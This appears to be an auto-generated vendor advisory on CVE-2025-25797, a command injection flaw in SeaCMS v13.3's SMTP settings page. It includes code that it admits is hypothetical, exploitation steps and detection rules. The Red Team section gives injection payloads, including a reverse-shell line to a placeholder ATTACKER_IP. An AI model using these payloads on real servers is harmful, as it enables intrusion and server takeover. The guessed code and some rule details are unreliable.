CVE-2025-25797
Executive Summary
CVE-2025-25797 identifies a critical Remote Code Execution (RCE) vulnerability in SeaCMS v13.3, specifically within the admin_smtp.php component. This flaw allows an authenticated administrator to execute arbitrary commands on the underlying server, leading to full system compromise. The vulnerability is unpatched, and no public proof-of-concept (PoC) or exploit code has been released at this time. The attack vector is network-based, requires high privileges (admin), and has a high impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct issue within the SeaCMS application source code. No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin login
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: High. Although exploitation requires admin credentials, the impact is severe, allowing full server takeover. The lack of a patch increases risk for unhardened deployments.
Deep Dive & Mechanics
The vulnerability resides in the admin_smtp.php file of SeaCMS v13.3. This file handles SMTP server configuration for email notifications. The flaw is due to insufficient sanitization of user-supplied input passed to system-level commands (e.g., mail(), fsockopen(), or shell execution functions). An authenticated admin can inject arbitrary operating system commands via parameters such as SMTP host, port, username, or password fields.
Root Cause: The application directly concatenates user input into a command string without proper escaping or validation, leading to OS command injection (CWE-78).
Attack Flow:
- Attacker logs into SeaCMS admin panel.
- Navigates to SMTP settings (
admin_smtp.php). - Injects malicious payload (e.g.,
; idor| whoami) into a vulnerable field. - The application executes the crafted command on the server.
- Attacker achieves remote code execution.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be:
Vulnerable (v13.3):
// admin_smtp.php (simplified)
$smtp_host = $_POST['smtp_host'];
$command = "echo 'test' | mail -s 'subject' -S smtp=$smtp_host";
system($command);
Patched (hypothetical):
// admin_smtp.php (patched)
$smtp_host = escapeshellarg($_POST['smtp_host']);
$command = "echo 'test' | mail -s 'subject' -S smtp=$smtp_host";
system($command);
The patch would use escapeshellarg() or escapeshellcmd() to sanitize input, preventing command injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- SeaCMS v13.3 installed and accessible.
- Admin credentials (e.g., admin:admin).
Exploitation Steps:
- Login to SeaCMS admin panel.
- Navigate to
admin_smtp.php. - Intercept the POST request using Burp Suite.
- Modify a parameter (e.g.,
smtp_host) to inject a command:smtp_host=127.0.0.1; whoami - Send the request.
- Observe command output in the response or via a reverse shell.
Example Payload (Reverse Shell):
smtp_host=127.0.0.1; bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'
Lab Setup:
- Use Docker to deploy SeaCMS v13.3.
- Attacker machine: Kali Linux.
- Intercept with Burp Suite or netcat.
Blue Team
Detection:
- Monitor HTTP POST requests to
/admin_smtp.phpfor unusual characters (e.g.,;,|,&, backticks). - Alert on admin login followed by SMTP configuration changes.
- Use WAF rules to block command injection patterns.
Hunting:
- Search logs for
admin_smtp.phpPOST requests with non-standard SMTP host values. - Check for spawned processes like
bash,sh,cmd.exefrom the web server user.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/admin_smtp.phpcontaining shell metacharacters (;,|,&,$()). - Outbound connections to attacker IPs on high ports (e.g., 4444).
- POST requests to
- File System:
- Unexpected files in
/tmp/or web root (e.g.,shell.php). - Modified
admin_smtp.phpor other PHP files.
- Unexpected files in
- Process:
- Web server user (e.g.,
www-data) spawningbash,sh,python, ornc.
- Web server user (e.g.,
- Logs:
- Web server access logs showing
admin_smtp.phpwith suspicious parameters. - System logs (
/var/log/syslog) showing command execution.
- Web server access logs showing
Detection Engineering
YARA Rule
rule SeaCMS_RCE_AdminSMTP {
meta:
description = "Detects SeaCMS admin_smtp.php RCE attempt"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-25797"
strings:
$smtp_path = "admin_smtp.php"
$cmd_inject = /[;&|`$()]/
condition:
$smtp_path and #cmd_inject > 2
}
Sigma Rule
title: SeaCMS admin_smtp.php Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts via admin_smtp.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin_smtp.php'
cs-uri-query|contains:
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate SMTP configuration with special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"SeaCMS admin_smtp.php Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin_smtp.php"; http_uri; pcre:"/(;|\||&|`|\$\().*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SMTP functionality if not required, or restrict access to
admin_smtp.phpvia.htaccessor firewall. - Apply input validation – use
escapeshellarg()orescapeshellcmd()on all user inputs before passing to system commands. - Upgrade to a patched version when available (monitor SeaCMS official site).
- Web Application Firewall (WAF) – deploy rules to block command injection patterns.
Long-term:
- Conduct code audit of all admin-facing PHP files.
- Implement principle of least privilege for web server user.
- Enable logging and monitoring for admin actions.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division.